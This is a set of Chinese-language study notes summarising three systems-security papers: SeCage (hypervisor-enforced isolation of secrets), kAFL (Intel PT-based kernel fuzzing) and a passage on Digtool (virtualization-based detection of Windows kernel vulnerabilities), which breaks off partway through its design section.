  • 方法:结合mprotect和debug异常技术

为了获得紧凑的封闭闭合,我们采用了mprotect和debug exception技术的创新组合,采用简单但精确的动态分析。




图7显示了动态敏感函数提取的过程。一开始,应用程序被安装使用安全的malloc来为秘密数据分配内存。然后,使用mprotect系统调用来保护安全内存(paddr),并注册一个用户模式处理程序来处理违规时产生的相应的段错误。
① 只要sink指令访问受保护的内存,它就会陷入段错误处理程序;
② 该处理程序记录发生错误的sink指令地址;
③ 并向内核模块发出一个IOCTL系统调用,该调用将调试寄存器0(DR0)中的下一条指令设置为断点。之后,处理程序撤销对paddr的mprotect以继续进行,然后sink指令可以在段错误处理程序返回后成功访问内存。
④ 但程序会立即在下一条指令中捕获到预定义的调试异常处理程序,在这种情况下,异常处理程序可以再次将mprotect设置为paddr。

我们在不同的工作量下多次运行应用程序。例如,对于Nginx服务器的情况,我们可以发送不同类型的请求,直到sink指令的集合固定。那么我们可以得到大部分的sink指令,以及相应的敏感函数。

4.1.3 混合方法提取闭包

分解应用程序的混合方法:

  • 通过动态方法提取秘密闭包
  • 编译期间自动分解
  • 使用静态方法获取完整的潜在敏感函数,用于在运行时避免角落情况



4.2 应用程序自动分解

4.2.1 利用CIL将{fs}调用替换为{ft}调用

由于{fs}中的敏感函数并不是独立的,因此SeCage使用蹦床机制来实现{f s}与主隔间中定义为{fn}的函数之间的通信。

对于每个函数调用f,f_caller和 f_callee分别表示调用者函数和被调用者函数。 当且仅当f_caller和f_callee中的一个属于{f s}时,需要定义一个相应的蹦床函数t(f),该函数在下一个阶段用来代替f。形式定义如下:




如果有{fn}到{fs}的任何函数调用,我们定义一个蹦床函数f_in。 同样,从{fs}到{fn}的每个函数调用都定义了一个跳板函数f_out。 我们注意到{ft}是f_in和f_out的集合。

4.2.2 利用GCC section属性来创建内存区域

我们将应用程序分解为秘密和主要隔间以实现SeCage保护。总共涉及三个步骤。

  • 1 首先,相应地将3个超级调用添加到应用程序中(3.4节)。
  • 2 其次,使用自动化脚本生成一个定义和声明蹦床函数{ft}的文件,并使用GCC的section属性修改{fs}中敏感函数sfunc和{ft}中蹦床函数tfunc的定义:



通常情况下,GCC编译器将代码组织到.text部分。附加节属性指定sfunc和tfunc存在于两个特定的.se和.tr节的内存区域中,这些内存区域与{fn}的内存隔离。因此,SeCage可以在页面粒度中保护它们。

  • 3 最后,在编译阶段, CIL解析整个应用程序,用{ft}中相应的蹦床函数调用替换{fs}涉及的函数调用。

4.2.3 修改链接器来从主区域中区分秘密数据

SeCage还需要修改链接器,将新创建的.se和.tr部分链接到预定义的内存位置,以便SECAGE INIT超级调用可以传递适当的内存地址作为虚拟机管理程序保护的秘密分区内存。


5. 实现与评估

5.1 实现

  • 在Intel Haswell机器上实现

    • 支持VMFUNC的Haswell处理器
    • 4个内核(使用超线程的8个硬件线程),32 GB内存
  • 软件环境

    • 带有KVM的Linux 3.13.7
    • 客户虚拟机:Linux 3.16.1
    • 2个虚拟内核和4GB内存
  • 应用程序分析和分解

    • CIL框架,OCaml扩展,bash脚本

5.2 使用方案

  • 保护Nginx免受从HeartBleed攻击

    • 保护素数(p和q)和私钥指数(d)
  • 保护OpenSSH免受Rootkit攻击

    • 保护OpenSSH的私钥(和Nginx一样)
  • 保护CryptoLoop(进行文件系统加密的一个内核API)免受内核内存泄露

    • 保护AES密钥

5.3 安全性分析

  • Secrets exposure elimination



  • Reduced attack surfaces
    • 秘密隔间中很小的代码库
    • 用于OpenSSL的只有1350 LoC,用于CryptoLoop的只有430 LoC
    • 敏感函数的限制(如没有I/O操作等)

5.4 性能分析

  • Nginx throughput and latency
    • Use ab benchmark
    • Simulate 20 clients
    • N KeepAlive requests
    • X bytes per request



  • OpenSSH latency
    • SSH to the server and execute common Linux commands
    • Average latency overhead: 6 ms (3%)
  • CryptoLoop I/O bandwidth
    • Use fio benchmark with sequential read/write configurations
    • Average slowdown: 4%

Reference

Thwarting Memory Disclosure with Efficient Hypervisor-enforced Intra-domain Isolation-CCS’15 Liu et al,

kAFL

kAFL:针对OS内核的硬件辅助反馈模糊测试

最新一代的反馈驱动的模糊方法已经被证明是一种以自动化和全面的方式发现漏洞的有效方法。然而,将反馈机制的模糊测试用于内核组件是比较难的,因为当一个进程对他自己的内核进行模糊测试时,会引起内核崩溃,从而影响模糊器的效果。但是最近的工作也证明了这样的技术可以应用到内核空间,虽然这些反馈驱动的内核模糊器在某些操作系统中能够发现大量的安全漏洞,但是由于CPU仿真性能不佳或者由于需要编译器工具而缺乏可移植性,其好处受到限制。

本文提出了一种新颖的机制来利用最新CPU特性设计反馈驱动的内核模糊器。以独立于操作系统和硬件辅助的方式处理引导内核模糊的问题:使用虚拟机管理程序VMM和英特尔处理器跟踪(PT)技术。这使fuzzer可以独立于目标操作系统,只需要一个与目标操作系统交互的小型用户空间组件。并且即使在操作系统崩溃的情况下,也几乎不引入性能开销,并且可以在现有的笔记本电脑上每秒进行高达17,000次执行。并且开发了一个名为kernel-AFL(kAFL)的框架来评估Linux,macOS和Windows内核组件的安全性。在众多的崩溃中,我们发现了Linux的ext4驱动,macOS的HFS和APFS文件系统以及Windows的NTFS驱动存在的漏洞。


1.简单介绍

对内核进行模糊测试和用户态度模糊测试相比较而言,存在的难点:

  • 崩溃和超时要求使用虚拟化来捕捉故障并保持继续执行;
  • 内核级代码比普通的ring 3程序具有更多的非确定性 - 主要是由于中断,内核线程,状态和类似的机制;
  • 除了普通的中断或sysenter指令外,没有等同于命令行参数或标准输入与内核或驱动程序以通用方式进行交互;
  • Windows内核以及许多相关的驱动程序和核心组件(对于Windows,MacOS甚至是Linux)都是封闭源代码。

本文提出一个新的技术并将kernel-AFL实现,kAFL可以将反馈模糊测试应用于任意的基于x86-64的内核,不需要任何定制的内核态目标代码或者特定操作系统代码。主要的贡献点有:

  • 独立于操作系统:通过使用VMM技术来将反馈模糊测试应用于任何x86操作系统内核;
  • 基于硬件辅助的反馈:通过使用Intel-PT技术来进行反馈模糊测试,减小了开销,另外,自己实现了PT解码器比Intel的ptxed解码器快30倍。 因此,可以获得完整的跟踪信息,并用它来指导演化模糊算法,以最大化测试的覆盖率;
  • 可扩展和模块化设计:模块化设计将框架分为模糊器,追踪引擎和模糊测试目标三个部分。这允许支持额外的x86操作系统的内核空间和用户空间组件,而不需要为目标OS开发系统驱动程序;
  • kernel-AFL:我们结合了我们的设计理念,开发了一个名为kernel-AFL的原型(kAFL),它能够在不同操作系统的内核组件中发现多个漏洞。

2.技术背景知识

2.1 x86-64虚拟内存布局

每个常用的x86-64操作系统都使用拆分的虚拟内存布局:内核通常位于每个虚拟内存空间的上半部分,而每个用户模式进程内存位于下半部分。 例如,由于当前x86-64 CPU的48位虚拟地址限制,Linux的虚拟内存空间通常分为两个大小为2 ^ 47的内核空间(上半部分)和用户空间(下半部分)。因此,内核内存映射到任何虚拟地址空间,因此它总是位于相同的虚拟地址。如果用户模式进程执行用于内核交互的syscall/sysenter指令或导致必须由OS处理的异常,则OS将保持当前的CR3值,因此不切换虚拟存储器地址空间。当前的虚拟内存地址空间被重用,并且内核在相同的地址空间内处理当前用户模式进程相关的任务。

2.2 Intel VT-x 硬件虚拟化技术

  • 虚拟化角色模型分为两个部分:虚拟机监视器(VMM)和虚拟机。 VMM也称为虚拟机管理程序或主机,是具有完全控制物理CPU的特权软件,可为虚拟化客户端提供对物理资源的访问限制。 虚拟机也称为guest,是一个在VMM提供的虚拟化上下文中透明执行的软件。
  • 为了提供全面的硬件辅助虚拟化支持, Intel VT-x基于保护级的标准执行模式增加了两种执行模式,分别是VMX OFF和VMM ON.默认的执行模式叫做VMX OFF,没有实现任何硬件虚拟化支持。当使用硬件支持的虚拟化时,CPU切换到VMX ON状态并区分两种不同的执行模式:
    • 管理程序的高权限模式(VMX root或VMM)
    • 虚拟机guest的低权限执行模式(VMX非root或VM)
    • VM guest通过触发VM-Exit事件将控制权交给hypervisor
  • 通过这种方式,可以在虚拟机内运行期望访问硬件的任意软件(例如操作系统)。与此同时,一个较高的权威可以用一个小的性能开销来控制所执行的操作。
  • VMCS:为了创建,启动和控制VM,VMM为每个vCPU使用一个虚拟机控制结构。VMCS包含有关当前状态的所有基本信息以及如何执行vCPU的VMX转换。

2.3 Intel PT 处理器跟踪技术

Intel第五代酷睿处理器(Broadwell架构),推出了称为Intel处理器追踪(Intel PT)的新处理器功能,以提供执行和分支追踪信息。与其他分支跟踪技术(如Intel Last Branch Record(LBR))不同,输出缓冲区的大小不再受专用寄存器的严格限制。相反,它只受主存大小的限制。如果输出目标被反复及时地清空,我们可以创建任意长度的痕迹。

处理器的输出格式是面向分组的,分为两种不同的类型:通用执行信息和控制流信息分组。Intel PT在运行时产生各种类型的与控制流相关的数据包类型。为了从跟踪数据中获得控制流信息,我们需要一个解码器。解码器需要跟踪软件来解释包含条件分支地址的数据包。

  1. Intel规定了五种影响指令的控制流程,称为流程指令更改(CoFI)。不同的CoFI类型的执行导致不同的流信息分组序列。与本文工作相关的三种CoFI类型是:
  • Taken-Not-Taken (TNT):如果处理器执行任何条件跳转,则判断是否执行了该跳转,将被编码在TNT数据包中;
  • Target IP (TIP):如果处理器执行间接跳转或转移指令,解码器将不能恢复控制流。 因此处理器在ret或远转附近执行间接分支类型的指令时,产生TIP分组。这些TIP包在转移或跳转发生之后存储由处理器执行的相应的目标指令指针。
  • Flow Update Packets (FUP):另一种情况是产生异步事件处理器,例如中断或陷阱时,必须为软件解码器的提示包,并且通常接着TIP包,暗示接下来的指令。
  1. 为了限制跟踪数据产生的数量,Intel PT为运行时过滤提供了多个选项。
  • 指令指针过滤(IP Filter):根据给定的处理器可以为指令指针过滤(IP Filter)配置多个范围。通常情况下,如果启用了分页,这些过滤范围只影响虚拟地址。因此可以将轨迹生成限制在选定范围内,从而避免大量的多余轨迹数据;
  • CPL过滤:通过ring0或ring3当前特权级(CPL)过滤踪迹,这个过滤器允许我们只选择用户模式(CPL> 0)或内核模式(CPL = 0)活动。kAFL利用这个过滤器选项来显式限制跟踪内核模式执行。
  • CR3 过滤:限制跟踪数据生成到一个特定的虚拟内存地址空间,软件可以使用CR3 Filter。如果CR3值与配置的过滤器值相匹配,Intel PT将生成跟踪数据。CR3寄存器包含指向当前页表的指针,因此CR3寄存器的值可用于过滤代表某个ring3进程执行的代码,即使在ring0模式下也是如此。
  1. Intel PT 支持输出数据的各种可配置目标域。
    • kAFL着重于物理地址表(ToPA)机制,该机制使我们能够指定多个输出区域:每个ToPA表包含多个ToPA条目,其中包含用于存储跟踪数据的关联内存块的物理地址。每个ToPA条目都包含物理地址,物理内存中引用内存块的大小说明符以及多个类型位。这些类型位指定了CPU在访问ToPA条目时的行为以及如何处理填充的输出区域。

3.系统总览

3.1 系统组成

系统分为三个组成部分:模糊逻辑,虚拟机基础架构(用QEMU-PT和KVM-PT表示的QEMU和KVM的修改版本)以及用户模式代理。图1中可以看到高层的总体架构。




  • 模糊逻辑在主机OS上作为ring3进程运行,这个逻辑也被称为kAFL。
  • VM基础架构由一个ring3组件(QEMU-PT)和一个ring0组件(KVM-PT)组成。这有利于其他两个组件之间的通信,并使Intel-PT跟踪数据可用于模糊逻辑。
  • 客户机只通过hypercalls与主机通信,然后主机可以读写guest虚拟机内存,并在请求处理后继续执行VM。

3.2 事件和通信

概述在模糊运行期间发生的事件和通信,如图2所示。




  1. 当VM启动时,用户模式的第一部分代理(加载器)使用hypercall HC_SUBMIT_PANIC提交内核恐慌处理程序的地址(或
    在Windows中的BugCheck内核地址)到QEMU-PT;
    QEMU-PT然后安装在恐慌处理程序的地址处调用例程的hypercall, 使我们能够得到通知,并快速响应VM中的崩溃(而不是等待超时/重新启动)
  2. 然后加载器使用hypercall HC_GET_PROGRAM来请求实际的用户模式代理并启动它。现在加载程序设置完成,模糊器开始初始化;
  3. 代理会触发HC_SUBMIT_CR3 hypercall,然后由KVM-PT处理。hypervisor提取当前正在运行的进程的CR3值,并将其交给QEMU-PT进行过滤;
    最后,代理使用hypercall HC_SUBMIT_BUFFER来通知主机在哪个地址期望它的输入。该fuzzer设置现在已经完成,主要的模糊循环开始。
  4. 在主循环中,代理使用hypercall HC_GET_INPUT请求一个新的输入;
  5. 模糊逻辑产生一个新的输入并将其发送到QEMU-PT。 由于QEMU-PT可以完全访问guest虚拟机的内存空间,因此可以简单地将输入复制到代理指定的缓冲区中。然后执行VM-Entry以继续执行VM。同时,这个VM-Entry事件启用PT跟踪机制。
  6. 该代理现在使用输入与内核交互(例如,它将输入解释为文件系统映像,并尝试挂载它)。当内核被模糊测试时,QEMU-PT解码跟踪数据并按需更新位图;
  7. 一旦交互完成,内核将控制交还给代理,代理通过HC_FINISHED hypercall通知管理程序。VM-Exit停止跟踪,QEMU-PT解码剩余的跟踪数据;
  8. 得到的位图被传递给模糊逻辑进行进一步处理。之后代理可以继续运行任何未跟踪的清理例程,然后发出另一个HC_GET_INPUT来启动下一个循环迭代。

3.3 系统各组件及功能

3.3.1 Fuzzing Logic 模糊逻辑

模糊逻辑是kAFL的命令和控制组件。它管理有趣的输入队列,创建突变的输入,并安排它们进行评估。在大多数方面,它是基于AFL使用的算法。与AFL类似,我们使用位图来存储基本块转换。我们从虚拟机通过一个接口收集AFL位图到QEMU-PT,并决定哪些输入触发有趣的行为。模糊逻辑还协调并行产生的虚拟机的数量。

与AFL更大的设计差异之一是kAFL广泛使用多处理和并行性,AFL只是产生多个独立的模糊器,它们偶尔同步输入队列。相比之下,kAFL并行执行确定性阶段,所有线程都处理最有趣的输入。大量的时间花在没有CPU限制的任务上(如客户机延迟执行)。因此,使用许多并行进程(每个CPU内核最多5-6个)可以显著提高模糊进程的性能,因为每个内核的CPU负载较高。最后,模糊逻辑与用户界面进行通信以定期显示当前的统计数据。

3.3.2 User Mode Agent 用户模式代理

我们期望用户模式代理在虚拟化目标OS内部运行。 原则上,这个组件只需要通过hypercall接口通过模糊逻辑来同步和收集新的输入,并使用它来与客户的内核进行交互。 例如,代理是试图将输入作为文件系统映像加载的程序,将诸如证书的特定文件传递给内核解析器,甚至执行各种系统调用的链。

实际上,我们使用两个不同的组件:第一个程序是加载程序组件Loader。 它的工作是通过hypercall接口接受一个任意的二进制文件。 该二进制代表第二个组件,即用户模式代理user mode agent,由加载程序组件执行。此外,加载程序组件将检查代理程序是否已经崩溃(在系统调用模糊的情况下经常发生),并在必要时重新启动它。 这种设置的优点是我们可以将任何二进制文件传递给虚拟机,并将虚拟机快照用于不同的模糊组件。

3.3.3 Virtualization Infrastructure 虚拟化基础设施

模糊逻辑使用QEMU-PT与KVM-PT进行交互来产生目标虚拟机。

KVM-PT允许跟踪各个vCPU而不是逻辑CPU。此组件在CPU切换到客户机执行之前在相应的逻辑CPU上配置并启用Intel PT,并在VM退出转换期间禁用跟踪。这样,关联的CPU将只提供虚拟化内核本身的跟踪数据。

QEMU-PT用于与KVM-PT接口进行交互,以便从用户空间配置和切换Intel PT,并访问输出缓冲区以解码跟踪数据。解码的跟踪数据被直接转换成所执行的条件分支指令的地址流。此外,QEMU-PT还根据以前对非确定性基本块的了解,对执行地址流进行过滤,以防止假阳性模糊结果,并将这些结果作为AFL兼容位图提供给模糊逻辑。我们使用我们自己开发的PT解码器来缓存反汇编结果,与Intel提供的现成解决方案相比,这会显著提高性能。

3.3.4 Stateful and Non-Deterministic Code 有状态和非确定性代码

跟踪操作系统会导致大量的非确定性。非确定性基本块转换的最大来源是中断,这可能发生在任何时间点。此外,由于从内存快照重新加载虚拟机成本高昂,我们的实现在每次执行后都不会重置整个状态。因此我们必须处理关于内核的状态和异步方面。有状态代码的一个例子是对kmalloc()的一个简单的调用:根据以前的分配数量,kmalloc()可能只是返回一个新的指针或映射整个范围页面并更新大量的元数据。我们使用两种技术来应对这些挑战。

  • 第一个是在处理中断时过滤掉中断和转换。这可以使用Intel PT跟踪数据。如果发生中断,处理器将发出TIP指令,因为在代码中传输不可见。为了避免在间接控制流程指令中发生中断期间的混淆,TIP数据包被标记为FUP(流更新数据包)以指示异步事件。在识别这样一个签名之后,解码器将丢弃所有访问的基本块,直到遇到相应的iret指令。为了将中断与其对应的iret连接起来,我们在一个简单的调用堆栈上跟踪所有的中断。 这种机制是必要的,因为中断处理程序本身可能被另一个中断中断。
  • 第二种机制是将非确定性发生的任何基本块列入黑名单。 每当我们在AFL位图中遇到一个新的位,我们就连续多次重新运行输入。 每一个没有出现在所有试验中的基本区块都将被标记为不确定的,并且被进一步处理过滤掉。为了快速访问,结果存储在黑名单基本块地址的位图中。在AFL位图转换期间,将跳过结合当前基本块地址和之前基本块地址(涉及黑名单块)的转换哈希值。

3.3.5 Hypercalls 超级调用

hypercall是虚拟化引入的功能。在Intel平台上,hypercall由vmcall指令触发。hypercall于VMM相当于syscall于kernel。如果VM中任何ring3的进程或内核执行vmcall指令,则会触发VM-Exit事件,然后VMM可以决定如何处理hypercall。如果在rax中传递一个magic value并且在rbx中设置适当的hypercall-ID,我们通过修改KVM-PT让它通过我们自己的对于模糊逻辑的hypercalls集合。此外,我们还修改了KVM-PT接受来自ring3的hypercall。对于特定的hypercall的参数是
通过rcx。我们使用这种机制来定义用户模式代理可以用来与模糊逻辑通信的接口。例如,hypercall是HC_SUBMIT_BUFFER。它的参数是一个存储在rcx中的客户机指针。执行vmcall指令后,会触发一个VM-Exit,并且QEMU-PT存储传递的缓冲区指针。稍后将把新的输入数据复制到此缓冲区中(请参阅图2中的步骤5)。最后,VM的执行继续。

此接口的另一个用例是在目标OS内核发生崩溃时通知模糊逻辑。 为了做到这一点,我们用一个简单的hypercall例程来覆盖操作系统的内核崩溃处理程序。注入的代码如list1所示,揭示了hypercall接口如何在汇编级别被使用。cli指令禁止所有中断,以避免在hypercall过程中出现任何类型的异步干扰。





4 实现细节

4.1 KVM-PT

KVM-PT功能及优点:

  • 跟踪特定的vCPU且不受时间限制;
  • 无额外开销,也不会因为输出区溢出而丢失追踪数据;
  • 扩展的用户态接口允许QEMU-PT从用户空间拿到跟踪数据并进行处理。

4.1.1 vCPU特定的跟踪

  • 启用Intel PT,运行在ring0(在我们的情况下为KVM-PT)的软件必须设置模型专用寄存器(MSR)的相应位(IA32_RTIT_CTL_MSR.TraceEn)
  • 跟踪启用后,如果满足配置的过滤器选项,逻辑CPU将跟踪任何执行的代码。修改必须在CPU从主机上下文切换到VM操作之前完成,否则CPU将执行guest代码,并在技术上无法修改任何主机MSR。在CPU离开guest上下文之后,需要相反的过程。但是,为防止在VMM中收集不需要的跟踪数据(手动启用或禁用Intel PT产生的包含手动MSR修改的跟踪),我们使用Intel VT-x的MSR自动加载功能。可以通过修改VMCS中的相应条目来启用MSR自动加载(例如,用于VM条目的VM_ENTRY_CONTROL_MSR)。这会强制CPU在发生VM入口或VM出口后加载已定义MSR的预配置值列表。通过启用MSR自动加载追踪,我们只收集一个特定vCPU的Intel PT跟踪数据

4.1.2 持续的跟踪

一旦我们启用了Intel PT,CPU就会将生成的跟踪数据写入内存缓冲区,直到它已满。这个缓冲区的物理地址以及如何处理完整的缓冲区由一系列称为物理地址表(ToPA)条目的数据结构指定,该数组可以包含多个条目,并且必须由单个END条目③终止。 CPU有两种不同的方式可以处理溢出:它可以停止跟踪(继续执行 - 因此导致不完整的跟踪),也可能引发中断。中断导致一个虚拟机退出,因为它是不可屏蔽的。捕捉主机上的中断并使用跟踪数据,最后重置缓冲区并继续执行虚拟机,然而中断可能会在缓冲区填满之后的某个特定时间引发②。




ToPA条目的配置可以在图3中看到,为了避免丢失跟踪数据,我们使用了两个不同的ToPA条目:

  • 第一个是主要缓冲区①,其溢出行为是触发中断。一旦主缓冲区被填满,第二个入口被使用,直到中断被实际传送。
  • ToPA指定另一个较小的缓冲区②,溢出第二个缓冲区将导致跟踪停止。为了避免由此造成的数据丢失,我们选择的第二个缓冲区,比我们在测试中看到的最大的溢出轨迹大4倍(4 KB)。如果第二个缓冲区也溢出,则接下来的跟踪将包含一个数据包,指示某些数据丢失。在这种情况下,可以简单地增加第二缓冲区的大小,这样就可以获得任何数量的跟踪数据的精确跟踪。

4.2 QEMU-PT

要使用KVM扩展KVM-PT,需要一个用户空间对象。QEMU-PT是QEMU的扩展,全面支持KVM-PT的用户空间接口。此接口提供了在运行时启用,禁用和配置Intel PT的机制,以及定期ToPA状态检查以避免超限。KVM-PT可通过ioctl()命令和mmap()接口从用户模式访问。除了作为KVM-PT的用户级接口之外,QEMU-PT还包含一个将跟踪数据解码为更适合模糊逻辑的组件:将Intel PT数据包解码并将其转换为类似AFL的位图。




4.2.1 PT Decoder

广泛的内核模糊可能会产生每秒数百兆字节的跟踪数据。为了处理如此大量的输入数据,解码器必须以效率为重点来实现。否则,解码器可能成为模糊过程中的主要瓶颈。然而,解码器也必须是精确的,因为解码过程是连续的,并受先前解码的数据包的影响,不准确会导致更多的错误。

为了简化实施Intel PT软件解码器的工作,Intel提供了自己的解码引擎libipt。libipt是一个通用的Intel PT解码引擎。但是它并不适合我们的目的,因为libipt解码跟踪数据以提供执行数据和流信息。此外,libipt不会缓存反汇编的指令,并且在我们的用例中表现不佳。

由于kAFL仅依赖于流信息,并且将模糊过程重复应用于相同的代码,所以可以优化解码过程。我们的Intel-PT软件解码器就像一个即时解码器,这意味着根据解码的跟踪数据,只有代码段在执行时才被考虑。为了进一步优化查找,所有反汇编的代码段都被缓存。另外,我们简单地忽略与用例无关的数据分组。

由于我们的PT解码器是QEMU-PT的一部分,因此如果ToPA基本区域被填充,则直接处理跟踪数据。因为缓冲区可以通过mmap()从用户空间直接访问,解码过程在原位置进行。与其他Intel PT驱动程序不同,无需将大量跟踪数据存储在内存或存储设备上之后再进行解码。最终,解码的轨迹数据被转换成AFL位图格式

4.3 AFL Fuzzing Logic

简要描述AFL的模糊部分,因为我们用于执行调度和突变的逻辑与AFL紧密相关。AFL最重要的方面是用于跟踪遇到的基本块转换的位图。每个基本块都有一个随机分配的ID,并且从基本块A到另一个基本块B的每个转换被分配一个偏移量,按照下面的公式进入位图

(id(A)/2⊕id(B)) % SIZE_OF_BITMAP

kAFL使用基本块的地址而不是编译时间随机。

  • 每次观察到转换时,位图中的相应字节都会增加,在完成模糊迭代之后,位图的每个条目被四舍五入,使得只有最高位保持设置;
  • 然后将位图与全局静态位图进行比较,以查看是否找到新的位。如果找到新位,则将其添加到全局位图,并将触发新位的输入添加到队列中;
  • 当一个新的感兴趣的输入被发现,先执行一个确定的阶段,试图单独变异每个字节;
  • 一旦确定阶段结束,非确定阶段就开始了。在这个非确定性阶段,多个突变在随机位置进行。如果确定性阶段找到新的输入,则非确定性阶段将被延迟,直到所有感兴趣的输入的所有确定性阶段都被执行;
  • 如果一个输入触发了一个全新的转换(而不是转换的次数的变化),那么它将被优先考虑,并被模糊化。

5 评估

基于实现的kAFL,评估跨平台的kAFL的模糊性能。如果没有另外说明,基准测试是在一台配备英特尔i7-6700处理器和32GB DDR4内存的台式机上进行的。为了避免I/O性能差导致的失真,所有的基准测试都在RAM磁盘上执行。与AFL类似,我们认为如果crashing输入触发了至少一个没有被任何先前的crash触发的基本块转换(即,位图至少包含一个新位),则它是唯一的。请注意,这并不意味着底层的错误是真正独特的。

  • kAFL开发过程中发现的所有报告的漏洞,崩溃和错误

    在评估期间,kAFL发现了一千多个独特的崩溃。我们对一些进行了手动评估,发现Linux,Windows和MacOS等所有测试操作系统存在多个安全漏洞。到目前为止,已经有八个漏洞被报告,其中三个漏洞被维护人员证实。

    • Linux: keyctl Null Pointer Dereference5(CVE-2016-8650)
    • Linux: ext4 Memory Corruption
    • Linux: ext4 Error Handling
    • Windows: NTFS Div-by-Zero
    • macOS: HFS Div-by-Zero
    • macOS: HFS Assertion Fail
    • macOS: HFS Use-After-Free
    • macOS: APFS Memory Corruption

红帽已经为第一个报告的安全漏洞分配了一个CVE号码:如果一个指数为零的RSA证书被提交,会触发内核ASN.1解析器中的空指针和部分内存损坏。对于在ext4文件系统中触发内存损坏的第二个漏洞,提出了一个主线补丁。最后报告的Linux漏洞在调用ext4错误处理例程panic()时因此导致内核恐慌,在编写本文时还没有进一步调查。Windows 10中的NTFS错误是导致蓝屏的不可恢复的错误情况,这个bug已经报告给微软,但还没有被证实。同样,苹果还没有证实或确认我们报告的macOS错误

  • 评估kAFL找到以前已知的漏洞的能力
    在keyctl接口上评估kAFL,keyctl允许用户空间程序存储和管理内核中的各种密钥材料,具有一个DER(请参阅RFC5280)解析器来加载证书,此功能有一个已知的错误(CVE-2016-07583)。
    我们在易受攻击的内核(版本4.3.2)上针对相同的接口测试kAFL。kAFL能够发现同样的问题,另外还有一个以前未知的CVE-2016-86504的错误。

  • kAFL的整体模糊性能与ProjectTriforce进行比较
    ProjectTriforce是唯一可用的与操作系统无关的反馈模糊器。TriforceAFL基于QEMU的仿真后端,而不是硬件辅助虚拟化和Intel PT。与TriforceAFL的QEMU CPU仿真相比,kAFL的性能提高了54倍。 单进程执行的性能(性能提升48倍)略有下降。

  • KVM-PT的性能开销

    • KVM-PT增加了KVM原始执行的开销,将几个KVM-PT设置的性能开销进行了比较。这包括与PT解码器组合的KVM-PT,不具有PT解码器但频繁处理的ToPA状态检查的KVM-PT以及没有任何ToPA考虑的KVM-PT
      -测量了三种不同的开销:wall-clock,用户和内核。总体时间的差别由wall-clock开销表示。另外测量了在内核和用户空间分别花费的时间。
      -第一个实验没有进一步分析(KVM-PT)丢弃踪迹;第二个实验(KVM-PT和ToPA检查)启用了ToPA缓冲区的重复检查和清除;最后的实验(KVM-PT&PT解码器)测试了整个流水线,包括我们自己的解码器,并转换成AFL位图。
    • 在我们的基准测试中,1%-4%的开销是凭经验衡量的。由于产生的开销很小,不会对整体模糊性能有重大影响。
  • PT解码器和Intel软件解码器的性能比较
    我们的PT解码器比Intel解码器性能好很多,当我们解码越来越多的相同的跟踪副本时,解码器变得越来越快(仅使用56倍的时间来解码250倍的数据量)。缓存方法优于Intel的实施,速度高达25到30倍。

6 缺陷与不足

  • OS-Specific Code
  • Supported CPUs
  • Just-In-Time Code
  • Multibyte Compares
  • Ring3 Fuzzing

Reference

Digtool

Digtool:一个基于虚拟化的检测内核漏洞的框架

1 摘要

Digtool是一个有效的,针对二进制代码的内核漏洞检测框架。通过在一个研发的虚拟化监测监控器上实现,可以截获内核执行期间的大量动态行为,例如内核对象分配,内核内存访问,线程调度,函数调用等。Digtool已经证实了windows内核和驱动中的45个0-day漏洞。

2 背景介绍

检测漏洞主要分为两个方面:

  • 路径探索:尽可能探测到更多代码分支
  • 漏洞验证:记录探索到的路径中出现的异常

Digtool重点关注内核漏洞验证这一方面。

2.1 现有技术

  • linux内核漏洞检测工具,依赖于实现的细节以及系统的源代码,很难用于像windows这种闭源的操作系统。
  • Driver Verifier:微软自己开发的一个集成系统,不是一个专用的工具。并且无法验证某些漏洞,比如TOCTOU.
  • 基于虚拟化的漏洞检测工具可以支持不同的操作系统,而目前基于虚拟化的漏洞验证工具只能用来检测一种具体类型的漏洞,也不能验证0-day漏洞。

对于像windows这种闭源的OS,开发一个漏洞检测工具既不能像在linux上的那些工具在编译期间插入检测代码,也无法像Driver Verifier那样改写或者调整系统源代码。
因此,采用虚拟化技术来隐藏windows操作系统内部细节,在一个更低的level,也就是hypervisor层来实行检测。Digtool就是通过虚拟化技术来捕获动态行为特征来发现windows操作系统中的内核漏洞。

2.2 常见内核漏洞

UNPROBE,TOCTTOU,UAF,和OOB是四种在许多项目中(包括操作系统内核)经常出现的漏洞。他们可以导致拒绝服务攻击,本地权限提升,甚至是远程代码执行,直接影响着受害系统的稳定和安全。

  • UNPROBE:No checking of a user pointer to an input buffer.对用户指向输入缓冲区的指针没有进行检查。许多内核模块省略了对用户指针的检查,尤其是当指针嵌套在复杂的结构中时,这会导致无效的内存参考,任意内存读/写。
  • TOCTTOU:Time of check to time of use.通常系统调用程序获取一个参数,会不止一次地从用户内存中取一个值,第一次检查,第二次使用。如果在两次取值之间,篡改了参数的值,就会导致该漏洞。
  • UAF:Use after free.使用释放过的内存。
  • OOB:Out of boundaries.越界访问,访问超过已分配的堆或者内存对象边界的内存。UAF和OOB都可以导致权限提升。

2.3 Digtool的优点

  • 可检测windows操作系统中不同类型的内核级漏洞
  • 不会crash操作系统,只是提取内核执行过程中的上下文和截获漏洞
  • 不依赖内核源代码
  • 不依赖任何现有的虚拟化平台
  • 设计了基于虚拟化的检测算法,可发现四种类型的漏洞(UNPROBE,TOCTTOU,UAF,OOB)
  • 发现了45个windows的内核代码和驱动程序的0-day漏洞

3 概述

Digtool的整体架构如figure 1所示,digtool的子系统和模块分别位于用户空间,内核空间以及hypervisor层。细的箭头代表直接的调用关系或者模块之间有传递消息的直接通道。粗的箭头表示通过事件触发机制间接地互相作用。




3.1 Hypervisor组成

Hypervisor最重要的工作就是监控虚拟内存访问,这是接口检测和内存检测的基础。

  • Tracing memory access outside guest OS:由于大多数工程运行在虚拟地址空间,因此要着重关注虚拟地址。
    Xenpwn使用扩展页表EPT追踪物理地址是不适用的,尤其是在windows系统中,因为虚拟地址和物理地址的映射是非线性的。
    Bochspwn使用了一个全栈的仿真器,效果不好,开销大。
  • 基于硬件虚拟化的SPT(shadow page table)技术可以用来监视虚拟内存访问与Xenpwn和Bochspwn从设计和实现都非常不同。

Digtool不依赖现有的hypervisor(Xen or KVM),自主设计的hypervisor包含VMM infrastructure,接口检测和内存检测三个组成部分。

3.1.1 VMM Infrastructure

  • 首先检查硬件环境和操作系统版本来保证兼容性;
  • 然后初始化hypervisor,将原先的操作系统加载到虚拟机中;初始化操作包括以下:
    • 建立SPTs来监控客户操作系统中的虚拟机内存访问;
    • 初始化跟踪进程调度的模块;
    • 建立操作系统内核与hypervisor的通信

接口检测和内存检测都是基于VMM infrastructure.

3.1.2 接口检测

监控系统调用执行时从用户态中传入的参数,跟踪参数的使用和检查来发现潜在的漏洞。

